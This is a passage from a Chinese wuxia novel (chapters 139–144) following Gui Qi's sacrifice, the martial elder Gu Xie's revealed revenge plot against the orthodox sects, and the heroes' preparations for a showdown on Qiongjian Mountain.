六岁的小男孩便是狐阎(紫阎王),四岁的小男孩则是狐岐(鬼岐) …… 十五年后: 大夫人(狐阎生母):“天赐良机啊,你爹他去中原了,我终于有机会杀死那个小贱人了。” 狐阎劝解道:“娘,琴姨毕竟是小岐生母,何必赶尽杀绝?”(琴姨,肖琴,狐鸢教主身边的侍女,因一段机缘,肖琴曾救过狐鸢一命,两人随即产生情愫,生下鬼岐,但鬼岐出生后,一直是大夫人在抚养。) “没错,就是要赶尽杀绝,我不仅要杀掉那个小贱人,我还要杀了狐岐!” 狐阎一脸诧异:“娘,小岐也是你的孩子啊,你养了他整整十九年,难道你对他一点感情都没有吗?” “十九年?你也知道我养了他十九年啊,可他呢!他是怎么对我的,我早下过命令,谁也不许给那个小贱人送吃的,他倒好,不仅送吃的,还送棉被、衣服,完全没把我的命令放在眼里。” “那毕竟是他亲娘,送些衣食,这也无可厚非吧。” “对,你说得没错,不管我如何对他好,在他心里,始终比不过他亲娘,这种白眼狼,我凭什么要留他!” 狐阎摇摇头,叹息两声:“母亲大人预备如何?” “当着狐岐的面,将那小贱人处死!” “为何要当着他的面,这样做,只怕他会对你不利,若是夺剑伤了你,岂不害了自己?” “我还怕他不敢呢!我在屋外埋伏了数十名高手,只要他敢起异心,只需一瞬便可叫他人头落地!” “既然,母亲都已经计划好了,何必再叫我来。” “你当然得来,你可是少主啊,我的命令不一定管用,到时候杀狐岐,还得你下令!” “我下令?”狐阎想了想,若有所思:“既如此,那何必麻烦母亲大人前往,交给我去办便是。” “你?你下得了手吗?” 狐阎:“只要能为母亲大人排忧,这有何难。” “好,那就教给你去办了,记住,一定要当着狐岐的面杀掉那小贱人,多派些人手,保护好自己。” “放心,狐岐打不过我,就算我空着手,他也不是我对手。” 房外,一少年附耳凑于墙外,屋内之话尽入耳中,此人便是狐岐。 一天后,狐阎找了个理由拉上狐岐喝酒,两人从中午喝到晚上,大醉而归,半夜,狐阎换上夜行服悄悄爬起,路过狐岐房门,听见里面鼾声如雷,不觉心安,料定狐岐此刻正醉酒昏睡,哪知,前脚刚走,狐岐便换上夜行服悄悄跟上。 狐阎一路小心翼翼避开眼线潜入肖琴住处: 狐阎与肖琴聊了片刻,声音很小,也不知在聊些什么,只看见狐阎递给肖琴袋“毒药”,肖琴并不接受,却抢过狐阎长剑来,肖琴看着长剑,说了些什么,最终,没有丝毫犹豫,举剑自刎了。 狐岐大惊,但他并没有冲进去,因为他知道,周围肯定埋伏着众多高手,如同大夫人所言,只要自己有半分异心,只需一瞬便将人头落地,狐岐小心翼翼潜回住处后,倒头便睡,第二天,传来肖琴自刎的消息,但他一滴泪也没有流下。 从肖琴自刎的那一刻起,他的心便已经死了,此后他只为一个目的而活,杀死他曾经引以为豪的大哥! …… 但,事情真相,真是如此吗? “对不起琴姨,我实在是没办法了,我娘她……” “没事儿,少主,这不怪你。” “我这里有些钱银,要不你带着小岐离开这个地方吧。”狐阎一边说着一边将一袋钱银递给肖琴。(曾经,狐岐以为的毒药,其实是那袋银钱。) 肖琴并未接下:“逃不掉的,这是我的宿命,你把剑给我吧。” “琴姨,真的没有其他办法了吗?” 肖琴摇了摇头:“你娘是乌桓公主,我只是一个小小的奴婢,她要我死,我没得选择。”话罢,抢过狐阎长剑。 “我没得选,但岐儿有,他是教主的血脉,大夫人绝不敢轻易杀他,少主,你能答应我一件事吗?” “琴姨你说,我一定答应你。” “无论如何,一定替我保护好岐儿,永远护他周全。” “琴姨,你放心,我答应你,一定会永远护他周全的,他永远都是我弟弟!” …… 看着倒地的紫阎王,鬼岐追忆起很多往事。 鬼岐自嘲一笑:“我现在才想明白,为何我娘自刎那天,你要将我灌得不省人事;为何父亲死后,你继任教主那天会莫名提拔我为魅影左使;为何十六年前,你尚有一战之力,却任由我将你击落山崖;为何你活了十六年,却从没想过要向我寻仇;为何生死存亡之际,你要替我挡剑。” “我大概是这世上最不省心的弟弟了吧,尽管如此,这么多年来,你也依旧没有抛弃我。” “或许,亲情这东西,我从一出生便拥有了,只是我,从来不懂得珍惜。”鬼岐一边说着,一边看了眼公孙妍:“大哥,从小到大你一直悉心照顾着我,这次,我全还给你。” “希望还来得及。” “天下大同!”鬼岐《万幻影宗》第九重功法再起,全身发出刺眼白光,数息后,竟化作漫天白沙,白沙朝中心汇聚,最终形成一粒丹药,咽入紫阎王体内…… 第一百四十章 顾邪者 鬼岐死后,魅影教众军心大减,全无战意,中原侠客则是愈战愈勇,获胜已是时间问题。 当下,公孙妍被公孙皓扶起,一瘸一拐走向紫阎王,此刻,紫阎王腹部有一个大窟窿,五脏六腑俱毁,双目紧闭,如此重伤,只怕神仙难救。 “狐阎,你个大骗子,你答应过我,以后再不分开,你怎么可以撇下我先走一步!” 公孙皓叹息两声,劝解道:“妍儿,节哀顺变。” “大哥,我好不容易才找到他,好不容易才找到他,老天爷为什么要这样对我!” “你答应过我,以后再不分开,你以为,死了就可以反悔吗?不可能”话罢,举起剑竟要自刎,公孙皓大惊,赶紧拦下。 “妍儿,别做傻事!算哥求你了好吧!” “你放手,我的事不用你管” “狐大哥肯定也不愿意看到你做傻事!别闹了!” “放手!放手!” “怎么又跟你大哥吵起来了。”争执间,只听第三人声音传来,十分耳熟,极似狐阎:“好了好了,别吵了。”声音有些许微弱,些许疲惫。两人看向地面,紫阎王竟奇迹般的愈合生还了!衣服依旧破烂,但身上却已然不见伤口,奇哉!怪哉!莫不是那粒丹药的作用! 远处,一老者偷偷注视着这一异像,喃喃自语道:“青茯大法?想不到,竟真有起死回生之效!” “如此,也该到收网的时候了,终于,我也活成了曾经讨厌的模样。”话罢,老者站起身来,杀进空涧庄。 那老者化作黑烟,分成二十多个化身,杀入战场,狂风大作,巨石漫天,惊雷遍地,剑雨不歇!是天灾?可为何只攻击中原侠客,是人为?化境尊者也没有这等翻天本领啊! 刹那间,本该溃败的魅影教又死灰复燃,局势再次反转,谷月清、胡啸、展平、杜菱、蔡彧、浮生、杜冥、杜济、章玄等各派高手,竟无一人是其敌手!这些所谓的绝世高手,竟连老者幻化的分身都打不过! 半柱香未到,中原武林便败退至空涧庄大殿,此刻,已然是退无可退。 二十多个分身汇聚一体,一灰白老者缓缓步入大殿,身后魅影教众个个飞扬跋扈,得意得很。 中原武侠个个疲惫无力,全然败军之相,没有一丝朝气。 浮生挺杖自语道:“想不到魅影教竟有如此高人,要杀要剐悉听尊便!” 谷月清见那老者,竟有些面善,五官极似一位故人,试探般喊了声:“师傅?” 老者扫了谷月清一眼,并未作答。 蔡彧道:“敢问阁下姓甚名谁?何门何派?” 老者冷哼一声:“魅影教御守使——顾邪!” “顾邪?顾云?”谷月清喃喃自语道,眼前这位叫顾邪的老者,五官越看越像自己的恩师——顾云。 胡啸也看着眼熟,大声问道:“顾云师叔,是你吗?” 顾云名字一出,众皆哗然,名字虽然久远,但他的故事却广为流传,印象中,顾云乃是凌云谷百年来,最具天赋的弟子,但此人早已被列为武林公敌,死去四十多年了。 顾邪笑了笑:“曾经,我确实有个名字叫顾云,不过现在,我叫顾邪!” “顾云?真的是顾云?” “凌云谷顾云?!四十年前不是已经死了吗?” “对啊,听说堕入魔道,成了魔头,最后服毒自尽了。” …… 中原侠客议论纷纷,谷月清高声质问道:“师傅,真的是你吗?这么多年,你为何不回凌云谷?为何要加入魔教!” 顾邪冷笑道:“魔教?世人不是都说,我已堕入魔道,是个十恶不赦的魔头吗?那好,我就做那个十恶不赦的魔头!给他们瞧瞧何为魔头!” “自古正邪不两立,师傅,难道你真的要帮助魔教将中原武林彻底消灭吗?” “正邪不两立?何为正?何为邪?你们草草定义正邪,不过是为自己的杀戮寻找借口罢了!” 章玄道:“呵!魔教妖人敢做不敢认?” 蔡彧摇了摇头:“争论正邪之辩又有何意,咱们技不如人,甘拜下风,孰正孰邪,后世自有人评,前辈,动手吧!” “你倒是不怕死。”顾邪话罢,宝剑急出,只一瞬便闪到蔡彧身侧,长剑封喉,只需一瞬,便可杀掉蔡彧,蔡彧轻闭双眼,坦然赴死。 危机关头,顾邪却突然收手:“在场所有门派皆我死敌,唯独空涧庄除外,收拾好细软,快些离开吧。” 蔡彧一脸懵逼,却并未偷生,挺胸说道:“中原武林同生共死,我空涧庄绝不苟活!” 顾邪冷笑道:“你自要寻死,死便死了,凭什么拉上门下弟子,你怎么知道你的弟子们不畏生死!”话音刚落,空涧庄弟子齐声回应道:“空涧庄愿与中原武林共存亡,绝不偏安苟活!” 顾邪笑了笑:“还挺义气,不过,我顾邪做事一向是非分明,陈年旧账我也不加害于你们这些徒子徒孙,一个月后,琼剑山顶上,只要各派能按照我的吩咐完成一件事,我便带着魅影教撤出中原,再不踏入中原半步!”话罢,顾邪递给豫蛇教、剑阁、白马寺、百药宗四大门派每派一封信。 “哪派若是不从,我保证,必将其夷为平地!”话罢,并未加害一人,竟率众离去! 顾邪走后,众人拆开信件细细读起: 豫蛇教:“一个月后,负惠恩遗骸,至琼剑山顶,挫骨扬灰,若是不从,豫蛇教必将夷为平地。” 剑阁:“一个月后,负章云遗骸,至琼剑山顶,挫骨扬灰,若是不从,剑阁必将夷为平地。” 白马寺:“一个月后,负祈野遗骸,至琼剑山顶,挫骨扬灰,若是不从,白马寺必将夷为平地。” 百药宗:“一个月后,负杜悬遗骸,至琼剑山顶,挫骨扬灰,若是不从,百药宗必将夷为平地。” …… 上述四人死去许久,皆是各派先师,身份尊贵,此番行径,众派岂能答应! 各派皆高呼死战,当即将信件撕得粉碎,此种悖逆之举,自诩江湖正派的他们,自不会做。但问题来了,中原武林合力打得过顾邪吗?很显然,打不过,既如此,一个月后,各派当如何交差?真就玉石俱焚? 第一百四十一章 杀人真凶 空涧庄外,山间一竹亭,公孙妍扶着狐阎在里面休息了许久。 两人正要起身离开时,一老者走进亭来。 “老伙计,怎么这么不小心啊,受伤了?” 狐阎抬头一看,笑了笑:“你还好意思说,你人呢?架都打完了,怎么现在才来。” “我救人去了啊,耽搁了。” 公孙妍看着那老人问道:“这位是?” “哦,忘记给你介绍了,这是我的老朋友,叶述,十六年前,就是他救的我。” “叶述?听说过”公孙妍突然想起什么,一脸迷糊:“哎,不对啊,十六年前,不是说是他将你击落悬崖的吗?” 两人听罢大笑起来。 叶述道:“紫阎王何等本领啊,我哪能将他击落悬崖啊。” 紫阎王:“都是误会,都是误会,当年若不是叶兄提点,只怕我还沉醉在一统江湖的春秋大梦中。” “互相提点罢了,对了,我听说中原武林败了,你们在空涧庄到底败给了谁?鬼岐?” 紫阎王叹息两声,摇了摇头:“御守使,顾邪。” “顾邪?何许人也,没听你说过啊。” 紫阎王道:“我原以为,一切因果,皆是狐岐对我的怨恨,看来我把事情想简单了。” 忘魂崖下: 昭相雪在崖下找了许久,半点儿线索没有,这时,一人立于身前,挡住前路。 昭相雪抬头一看,这不是那个忘忧老人嘛。 “哎,老先生,你怎么在这儿?”“难不成,你也失足掉下来了?你没事儿吧?” 顾邪全然没有之前的慈祥,此刻的他,一脸冷漠:“你在找那叫于婉的姑娘?” “老先生,你认识她?” “当然,她的尸体,可是我亲手处理的。”声音极尽死寂。 昭相雪自是不信:“你的意思是,她已经死了?不!不可能!” 顾邪再说道:“不妨告诉你,她的死,可是我一步一步,精心设计的。” “老先生,这个玩笑,可一点都不好笑。” “白马寺惨案,是我所铸,空涧庄林奕湘,是我所杀,于婉身上鞭伤,亦是我所为……” “真是你?如此滥杀无辜,对你有何好处。” “无辜?他们可不无辜,只有死过一次的人,来自阴曹地府的人,才能无情的剥夺他人生命,不巧,我就是。” 老者一边说着,一边带上一块黑铁面具,纹路十分熟悉,仿佛在哪儿见过,昭相雪定睛一想,连连后退,十六年前,杀害他母亲与舅舅的凶手,正是戴着这张黑铁面具! “是你!是你杀了我母亲!” 老者仰天大笑起来:“死于我手的,可远不止你母亲一人!再说了,他们本就该死!” “混蛋,我杀了你!”昭相雪话罢,施起太平清领道法向老者击去,老者随手一压,便将昭相雪压入地下,巨大的内力震荡瞬间将大地压出一个大坑了,直径长达二十多米! 此时,昭相雪已是火力全开,修为勉强算得上化境三阶,但尽管如此,却仍敌不过老者半分!两方实力对比,竟悬若蚍蜉撼树! “捏死你就如同捏死一只苍蝇,想复仇?可笑!”老者向上一抬,轻松将昭相雪提至空中三五米处,接着,反手一掌,将昭相雪击飞数十米远。 昭相雪倒在地上,吐出数口鲜血,捂住腹部,显然是受了很严重的内伤。老者化作一团黑雾,瞬间闪到昭相雪身前,将一个珠子丢给了他,竟是魅影教至宝万幻珠! “听说,《万幻影决》高达十重,百年来,大成者只有无冥一人,你若是能练成,或许有机会与我一战。不过,你只有一个月的时间!一个月后,琼剑山顶,有本事,就来吧”话罢,老者冷笑两声,化作一团黑烟,随风消散,昭相雪盯着那老者看了许久,注意到其腰间挂在一个令牌,上面写着五个大字:御守使—顾邪。 昭相雪捡起万幻珠,踉跄着站起:“王八蛋,你给我等着!” …… “顾邪就是顾云?!不可能,绝不可能,四十六年前,我亲眼看见他服毒自尽了!” 狐阎摇了摇头:“我用青茯散救了他。” “青茯散?原来如此。”叶述微微一笑:“慕容馨呢,这些年,她过得还好吗?” “早就死了。” 叶述大惊道:“死了?怎么会,当年我给她点了两处穴位,使其陷入假死状态,难道,是我害死了她?!” “非也,那天,我将她救回后,她动了胎气,早产,但她状态很差,十分虚弱,最终,虽然生了个女儿,但自己却再没醒来。” 叶述叹息两声:“所以,从那时起,他便加入了魅影教,成为了御守使。” “没错,顾云加入我教后,改名顾邪,多年来,一直潜心专研功法,但,每隔五年,他便会去一趟中原。” 叶述:“每隔五年?你可知道,他来中原做了些什么?” 狐阎摇摇头:“不过,咱们可以捋一捋。” 叶述点点头:“永和三年,顾云加入魅影教,若是往后推五年,那便是,汉安二年,那一年,中原武林好像没发生什么大事啊,你们魅影教可有异常?” 狐阎想了想:“那一年,我教好像也没发生什么大事,不对,那一年我好像收了个养子,我给他取了个名字,狐俈。” “养子?我想起来了,那一年,寒岩阁主王绾好像被乌桓外族掳走了,他的孩子也是那一年失踪的。” 狐阎尴尬一笑:“狐俈确实是王绾的孩子,当年,王绾作为汉使,护送一位乌桓公主回中原和亲,我教数十位高手假扮中原人士绑架了王绾,想杀了那公主,以挑起汉朝与乌桓相伐,但王绾这老狐狸,早已安排公主从小路离去了,我们逼问了许久,甚至抓了王绾的妻儿,但他始终不肯透露行踪。” 叶述笑了笑:“原来是你们干的,我还以为是乌桓王族反悔了,我记得,最后,还是我与祈野方丈联手,才将奄奄一息的王绾救了出来。” 叶述接着说道:“汉安二年,往后推五年,那是,建和二年,那一年顾云也在中原?” 狐阎点点头:“那一年,我听说,白马寺天才武僧秋殇一叶残杀晋阳徐氏十多口,接着,秋殇出走,祈野方丈圆寂。” 永兴二年,豫蛇庵:慧恩师太十指被人削断,死于江东。 永寿四年,百药宗:杜悬被人下毒,自救时,无意给自己合成了另一奇毒,最终不治生亡。 延熹六年,剑阁:章云暴毙,李御风被同门怀疑弑师,但证据不足,李御风难敌众口,最终离开了剑阁。 建宁元年,党锢之祸,洛川山庄,洛寻天、洛寻依惨死。 …… 叶述:“仔细一想,越发觉得后背发凉,这些事,不会都与顾云有关吧!” 第一百四十二章 商队惨案真相 “琼剑山顶?你说,顾云为何非要把我们聚到琼剑山顶去,照理讲,空涧庄中,他便可以将中原武林一网打尽了。” 公孙妍道:“会不会,顾云的目标,根本就不是消灭中原武林。” 狐阎:“若如此,他这般大费周章,所为何求?” 叶述:“或许,与琼剑山有关。” “顾云让各派带着先师遗骨上琼剑山顶,你觉得,各派会妥协吗?” 狐阎摇摇头:“此番行径,只怕会激起中原武林更大的反抗。” 叶述:“没错,他在故意增强中原武林的战斗力!琼剑山?这不是贵派无冥前辈的埋骨之地吗!”“对了,当年狐鸢教主率那么高手潜入琼剑山,莫不是发现了什么秘密?” 狐阎尴尬一笑:“也只是猜测罢了,据说,《万幻影宗》第十重练功心决藏于无冥墓下。” “《万幻影决》还有第十重?” 狐阎点了点头:“还说,《青茯术》亦藏于其中。” “《青茯术》?” “起死回生的秘术,据说,当年无冥祖师便是用此法炼制出青茯散,同时,也复活了死去多年的郁雨曦。” “人死怎会复生?不可能。” “我也觉得不可能,哪有那么容易,还有说,无冥祖师当年根本没死,他带着郁雨曦从密道逃走,从此归隐山林了,毕竟谁也没见过无冥祖师的尸体。” “确实,我听说,无冥前辈用最后一丝功法将自己封印在一个山洞里,众人用尽各种功法,始终破不了封印丝毫,接着,众派轮番差派人手,防了整整七十年,才算安了心。”叶述自嘲般笑了笑,突然想到了什么:“难不成,顾云将咱们引到琼剑山,是想破除琼剑山封印!?” “他想得到《万幻影决》第十重?没必要了吧,他的实力,早已是天下第一。” 叶述摇摇头:“或许,他在找《青茯术》,他想复活慕容馨!” …… 夜幕降临、琼剑山: 浓浓夜色中,顾邪坐在琼剑山顶上,一边喝着小酒一边看着周遭风景。 山野里,一道黑影晃动起来,顾邪微微一颤,紧张的盯着那道黑影,透过月光,一只小鹿慢慢朝顾邪走来。 顾邪摇摇头,神色有些失落,自嘲一笑:“都说常走夜路必见鬼,鬼呢?我走了四十多年夜路,鬼呢!”话罢,自顾自的喝起酒来。 “我曾经也不相信鬼神,但如今,相信鬼神,是我唯一活下去的希望。” …… 空涧庄:众派商议中: 章玄:“我剑阁宁可玉碎,绝不瓦全!他顾云要先师遗骨,自己到剑阁来取,但取之前,还得先跨过我的尸体!” 杜冥亦道:“他顾云本事确实很大,但大不了咱就一死,要我背叛师祖,呵,我呸!” 浮生叹息道:“只可惜,四十六年前,让这魔头钻了空子,苟活于世,如今,竟酿出这等恶果!” 杜济:“说起来,顾云当年不是已经服毒自尽了吗?为何还活着!山万蛇毒不是无解吗?” 杜菱:“难不成是叶述大师撒了谎,顾云当年根本没有服毒!” 谷月清:“不,师傅当年确实已经毒死了,这么多年来,叶师叔常常以泪洗面,懊悔当年没能救回师傅。” 章玄:“以泪洗面?为那个魔头有什么好懊悔的,现在好了,顾云没死,还要咱们的命!叶述呢?这事他管不管?” 胡啸道:“叶师叔早已归隐江湖多年,这些年,并未留下半点儿踪迹。” 杜冥:“归隐江湖?马上就没江湖了,还归隐!赶紧把他找出来啊,这世上,只怕除了叶述,再没人打得过顾云。” 杜济:“顾云的实力大家有目共睹,估摸着该是化境一阶,半步登仙,只怕,叶述亦未必打得过顾云。” 众皆唏嘘,骇然。 蔡彧突然说道:“蹊跷,这事儿,实在是蹊跷啊。” 章玄:“有何蹊跷?” “照理说,顾云出手后,咱们已然没了还手之力,他完全可以将咱们一网打尽,进而平定中原,可为何,他非要等到一个月后?” “而且,他为何要选在琼剑山顶?那可是当年魔教覆灭的地方啊!” 杜菱冷笑道:“眼下顾云武功卓绝,天下无人能敌,选在琼剑山,岂不正是为了替无冥报仇,一雪前耻嘛!” 蔡彧点点头:“或许吧,但咱们整点人马,杀往琼剑山,最慢不过十五天,完全用不了一个月啊,难不成,多出来的半个月,是想让我们休养生息,调整好状态?还有,他知道,那些要求,我们必然不会满足,既如此,他何必白费口舌激怒我们,如此岂不是让咱们更加同仇敌忾,团结一致吗?” 众人低头不语,陷入沉思。 谷月清道:“会不会与琼剑山有关?我听枯恂说过,五十三年前,魅影教的狐鸢教主曾率二十名高手去过琼剑山。” 章玄:“魔教这么早便觊觎中原了?可从没听人提起过啊。” 杜冥:“不对吧,我记得那时的琼剑山还处在各派的轮流监视中啊,五十三年前,那一年,好像是谁来着?” 谷月清:“碧岐宗——慕容顾。” 蔡彧:“毒绝天下!慕容顾!我听说,他在琼剑山上,可是足足杀了二十一条人命啊,昇伏大师也是死于他手。” 浮生道:“那一年慕容顾性情大变,突然练成毒功,残杀无数江湖高手,难不成,当年正是受了魔教蛊惑?” 杜菱道:“要我说,当年慕容顾的惨案也实属冤枉,根本没人看到慕容顾毒杀那队商贩,昇伏大师也未必死于他手,只凭山万蛇毒便指认他为真凶,未免太儿戏了些!” 浮生道:“儿戏?二十多人一夜之间惨死琼剑山,不是慕容顾毒杀,难不成还是山万蛇一口一口咬出来的不成,师太的意思我懂,不过是想借机为于婉开脱罢了。” 杜菱怒道:“开脱?白马寺惨案本就不是婉儿所为,有什么好开脱的。” 展平帮忙说道:“我突然想到一点,我听说,当年,指认慕容顾为杀人真凶的,好像是听风阁主狐肃对吧。这听风阁的狐肃好像是魔教啊!贼喊捉贼?他说的话,能信吗?” 众皆沉思。 杜冥岔开话题问道谷月清:“好了好了,谷主,那枯恂有没有探听到狐鸢潜入中原之后,究竟在琼剑山发现了什么?” 谷月清摇了摇头:“什么也没发现,并且,除了钦铉长老,其余人,皆葬身于琼剑山。” “死了?!” 章玄道:“来的即是教主,实力必然不弱,谁这么厉害居然打死这么多人!” 杜济道:“会不会是昇伏大师!当年他打败魔教后,还没来得及提醒我们,便被慕容顾杀了。” 浮生道:“死了二十名魔教教徒,可为何,现场一具尸体也没有?” 蔡彧道:“会不会,那二十名魔教的尸体被逃走的钦铉长老埋在了其他地方,而这钦铉长老,才是杀死昇伏大师的真凶!” …… 第一百四十三章 同门师兄弟 忘魂山下: 叶述御剑下行,草屋内,大量灵力外泄,波动异常杂乱,似有绝世高手在此修行。 叶述推门而入,一黑影盘坐于床榻上,黑影虚幻缥缈,似无形,却有实! “《万幻影决》第八重?!只一天便已突破第八重?!”叶述大惊,眼前这个黑影,正是潜心修行的昭相雪。 “万幻珠,这东西怎么会在儿。”叶述小声嘀咕着,静坐一旁,倒了杯茶,慢慢喝起来。 一个时辰后,昭相雪功法练毕,看见叶述正趴在桌上小憩,不觉一惊,小心翼翼起身,欲向屋外走去。 细微动静下,叶述突然醒来:“深更半夜的,去哪儿啊?” 昭相雪尴尬一笑:“老先生,打扰了,这是您的屋,我睡外面就好。” “没关系,你睡床上便是,我睡剑上便可。”叶述话罢,修长宝剑换形,呈扁平状,悬于地上,接着,柜中床被自行飞出,瞬间于剑上铺好。 昭相雪作揖道谢,坐回床上。 两人沉默片刻,叶述问道:“你在修炼《万幻影决》?” “是。” “那是万幻珠?谁给你的?” “不知道,只看见他腰间别着一个令牌,上面写着五个大字:御守使—顾邪。” “顾邪!他为何送你这个?” 昭相雪摇摇头:“总之,我迟早会练成《万幻影决》第十重,然后上琼剑山,亲手杀了他!” 叶述暗自思虑道:顾云为何要召集这么多人上琼剑山杀自己?琼剑山到底藏了什么秘密?还有,传说中的青茯秘术真的能起死回生?叶述越想越乱,睡意全无,整理好床铺御剑而出,往琼剑山追去,走前,给草屋设下一屏障隐形,外人看去仿若巨石。 叶述御剑飞行许久,终于来到琼剑山顶,山顶上,一老者睡得正香,听见异动,立马翻身醒来,两人对视一眼,皆沉默不语。 “师兄,不准备请我喝两口忘忧吗?” 顾云面无表情,将酒葫芦递给叶述。 叶述接过葫芦,扫了两眼:“这么多年了,你还留着它。” 顾云:“如果你是来替那帮伪君子说情的,大可不必。” 叶述取出自己酒葫芦,往里面倒了些许:“哎,说什么情啊,我只是来讨两杯小酒喝罢了。” 顾云看着叶述的酒葫芦,亦笑了笑:“这么多年了,你不是也还留着嘛。” 叶述叹息道:“往事难忘,往事难忘啊!”话罢,提起葫芦喝了一口,但很快便吐了出来:“这是忘忧吗?怎么这么苦!” “是吗?这四十多年来,我喝的酒,可一直是这个味儿。” 叶述看着酒,摇摇头,再喝了两口。 顾云道:“酒也喝了,有什么话,快说吧。” “慕容馨的事儿,我很抱歉,当年……” 顾云打断道:“非你之过,当年的仇人,我已杀尽。” 叶述有些惊愕:“所以,那些人真是你杀的?!” 顾云不屑一笑:“杀戮只是最低级的报复,我所做的,可不止杀人这么简单。” “王绾有个宝贝儿子,他想让儿子成为大英雄,我便设计掳走他儿子,让其成为魅影教的杀人恶魔!祈野方丈的大弟子天资聪颖,本该成为下一任住持,我便设计让他滥杀无辜,永远活在悔恨中!惠恩师太指法天下卓绝,我便化身剑阁弟子,削去他右手五指,废去他半成指力!还有章云,他自诩为人正派,我便设计让他误杀惠恩!堕入魔道!世人尊杜悬医圣,我却偏下罕世奇毒,让他自己毒死自己!对了,还有洛择怀,可惜他死的早,只能拿他的儿女还债了……” “顾云!你还是人吗!疯了!简直疯了!这些年,你都干了些什么!你对得起凌云谷历代先师吗!” 顾云:“有何对不起!杀人偿命!他们本就该死!我唯一的错,便是在凌云谷求学时,我混混度日,没能认真练成神功,使得我与馨儿陷入琼剑山困境,遭各大门派追杀!” 叶述:“你既已杀死各家先师,为何还不罢休,旧仇已清,为何还要再起战事,难道,你想让天下百姓生灵涂炭吗!” “生灵涂炭又何妨!我管不了那么多!” 叶述大怒,拔剑指向顾云:“混账,你忘了我们在凌云谷求学时,当着历代先师灵位许下的誓言吗!” …… “我顾云,我乔雨,我宋志,我叶述,在历代先师灵前起誓,今生,必以除暴安良、匡扶正义为己任,若有作奸犯科、滥杀无辜之举,人神共杀之!” …… 顾云不屑一笑:“誓言?当然记得,当年若不是他们咄咄相逼,我定会成为一代大侠,但现在,我不是什么大侠,江湖人都说我是魔头,十恶不赦的魔头!我管天下苍生干嘛!那是你的事,与我何干!” 叶述怒气更甚:“拔剑,杀了我!或者,我杀了你!” 顾云冷冷一笑,喝了口小酒,站起身来:“一个月后,琼剑山顶,想杀我的,尽管来。”话罢,化作一团黑雾,顷刻间消散…… 叶述收起剑,也不追赶,坐在琼剑山顶上,独自吹着冷风,取出小酒,慢慢喝起来,许久后,叶述低声自语道:“这么多年来,你该有多苦,才会一直喝这苦酒,排解孤寂。” 次日清晨,忘魂崖上,来了两个年轻人,两人站在崖边往山下看去: “这么高,深不见底啊,小师妹他们若是真跳下了,岂不是必死无疑!”说此话者,竟是枯恂,旁边一人则是江雨潇。 “呸呸呸,别瞎说,婉儿与昭兄吉人自有天相,不会有事的。” 枯恂点点头:“要不,我下去看看吧。” 江雨潇担忧道:“这么高?别吧。” “怕什么,又不是直接跳下去,我御剑下去,没事儿的。” “那好,我也去。” 枯恂执拗不过,只好御剑也载上了她,两人沿途搜寻,直至崖底,搜了一上午,一无所获。 “不应该啊,人间蒸发了?” 江雨潇:“没有线索才是最好的线索,难不成,你还真指望发现点什么?” 枯恂摇摇头:“不不不,这样最好,昭兄内功深厚,我早说过,他一定会保护好婉儿的。” “是是是,明明昨晚还怕得要死。” 枯恂尴尬一笑:“咱们去问问附近的樵夫吧说不定,他们会有线索。” …… 第一百四十四章 破镜 忘魂崖下: 昭相雪正在潜心修行,凭借太平清领功法以及万幻珠的帮助,前八重功法只一天便迅速突破,此刻,他正潜心专研第九重功法。 突然,草屋房门,被一女子推开,昭相雪睁眼一看,竟是于婉! 昭相雪急速平复,虽被些许内力反噬,但他毫不在意,立马抱起于婉。 “婉儿,你没事儿?太好了,我就知道你会没事儿” “昭大哥,我找了你好久,你去哪儿了啊?”于婉一脸着急,分外惹人心疼。 “婉儿,我们退出江湖吧,去一个没有人的地方,今生今世,我再不想让你受到半点危险。” 画面一转、益州山野: “三十年过去了,九劫刀锋利如初,可用它的人,却不再神勇,真是可悲,可悲啊。” “我刀法不济,要杀要剐,悉听尊便,只求前辈能放过我的家人。” …… 刀剑相对不过四合,洛寻天便已身中三剑,又两合时,老者巧施剑术,再次挑飞九劫刀。 “看来你选择了牺牲自己,好,有种,不辱你爹洛川大侠的名号!看来,在你心中,家人的性命,比自己的命更重要。”老者突然换了语气,一脸死寂:“既如此,他们的命,便足够还你爹欠下的血债了!”话罢,老者化作一团青烟,如风动一般,向众人追去,青烟过处,皆是死寂,跑得越快的,死的越早! “停手!” 昭相雪猛施功法,黄沙漫天,一阵急风袭向那老者,只一击便使其当场毙命。 洛寻天与洛寻依看着昭相雪一脸欣慰。 “昭儿,你长大了。” “舅舅、娘,我再也不会让仍何人伤害到你们了,再也不会了。” 昭相雪抱着洛寻依痛哭起来,片刻后,昭相雪看着倒在地上的老人,正要伸手摘下他面具,忽然狂风大作,接着,场景再是一转: “一个不留!尽数杀了!” 关外乌桓,峡谷之中,鬼岐的人马正与李御风等人厮杀着。 …… 李御风刺得很用力,很迅速,整只剑全部穿过自身,半部穿过鬼岐身体。 “师傅!”昭相雪快步上前,一掌击飞鬼岐。 “昭儿,答应我,无论何时,永远保持侠义之心。”话罢,没了声息。 昭相雪泪若泉涌:“师傅,我答应你,我全答应了。”接着,伸手轻轻一抚,将李御风双目闭上。 然而刚闭上眼,却又立马睁开。 “徒儿,我觉得我还能再抢救一下。” 不知何时,杜济出现:“让我瞧瞧。” 杜济上前把把脉,查看了身上伤口:“万幸,没伤及要害,先止血吧。” “太好了,师傅,你听到了吗?你有救了。” 李御风笑了笑:“听到了听到了,我没聋。” …… 司州陈府: “昭儿,别玩了,赶紧回来吃饭!” 陈昭收起古琴,拉着司寇晨走入厅中。 “婉儿,快尝尝我娘手艺,她煮的鱼,不夸张的说,得进天下前三!” “真的,我还正想学学厨艺呢,让娘教教我呗。” “好啊,你若是学会了,以后我天天吃鱼。” 洛寻依:“你想吃鱼还不简单,让你舅带给你啊,要多少,有多少!” 洛寻天:“就是,不光是鱼,只要外甥想吃,天涯海角我都给你取来。” “谢谢舅舅。”陈昭端起酒碗与洛寻天猛碰一杯,各自饮尽。 “小孩子喝什么酒,逸儿,给他换杯水。” 陈逸:“爹,昭儿都二十好几了,不是小孩儿了。” 陈蕃两眼放空,望着远方:“二十好几了?哦,那党锢之祸也过去十几年了吧。” 昭相雪停下碗筷:“党锢之祸?!好熟悉啊,我也经历过吗?!” 突然,时间停滞,一老者缓缓走来。 “昭相雪,醒醒。” 昭相雪抬头看去,是无冥…… 昆仑山脉、雪封之地: 一女子的尸体被冰封在大雪中,旁边半跪着一位白发老人,顾邪。 顾邪看着那女子,自顾自的说道:“馨儿,你知道吗,虽然过去这么多年,但我依然记得初见你的场景,你穿着朱纱长裙,满脸笑容,世上竟有如此天真可爱的笑容。”顾邪一边说着,一边流下泪来。 “大师兄,此行救人有几成把握?” “九成!” 